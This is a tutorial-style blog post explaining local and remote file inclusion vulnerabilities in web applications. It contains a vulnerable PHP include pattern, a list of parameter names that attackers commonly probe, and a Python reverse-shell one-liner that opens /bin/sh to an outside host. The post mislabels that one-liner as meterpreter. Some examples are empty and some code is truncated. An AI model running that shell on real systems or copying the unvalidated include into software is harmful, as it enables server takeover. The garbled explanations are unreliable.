Background Concept of File Inclusion

Hacking Truth
Background Concept of File Inclusion

A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application. An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement. Background Concept of File Inclusion

Basically in this the script run time website is Vulnerable means a website which is dynamic and can contain many pages of a website and a website that has a connection to the database.

Example :-

Impact of File Inclusion

so lets talk about of impact of File inclusion :

Impact will be code execution on the server. basically what that mean code execution on the server.

● you can try to execute the meterpreter command there, the meterpreter shell command in a reverse connection there.  
● You can also execute code exection client side also
● You can use for DOS attack
● You can execute for information disclosure sensitive disclosure  is attacks lead an sensitive information like
● The system password, system configure details etc.

Types of File Inclusion

There are two types of file inclusion :-

1) Local File Inclusion ( LFI )
2) Remote File Inclusion ( RFI )

1) Local File Inclusion ( LFI )

Any parameter they will have some local file 


Example :-

( This paramter, referer parameter in including, some local file then there may local file inclusion. )

Example :

if (isset($_GET['language'])) {
    include($_GET['language'] . '.php');

<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
   <input type="submit">

2) Remote File Inclusion ( RFI )

Any parameter if they will have something remote file inlcusion

Example :

Example :


( meterpreter command shell )

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

( meterpreter command shell )

Possible Paramter

Local File Inclusion :

[file, document, folder, root, path, pg, style, pdf, template, php_path, doc]

Remote File Inclusion :

[dest, redirect, uri, path, continue, url, window, to, out, view, dir, show, navigation, Open, url, file, val, validate, domain, callback, return, page, feed, host, port, next, data, reference, site, html]

Video Tutorial :- SooN..


This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!

All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.

All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.

- Hacking Truth by Kumar Atul Jaiswal

I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

Post a Comment

* Please Don't Spam Here. All the Comments are Reviewed by Admin.
Post a Comment (0)
Our website uses cookies to enhance your experience. Learn More
Accept !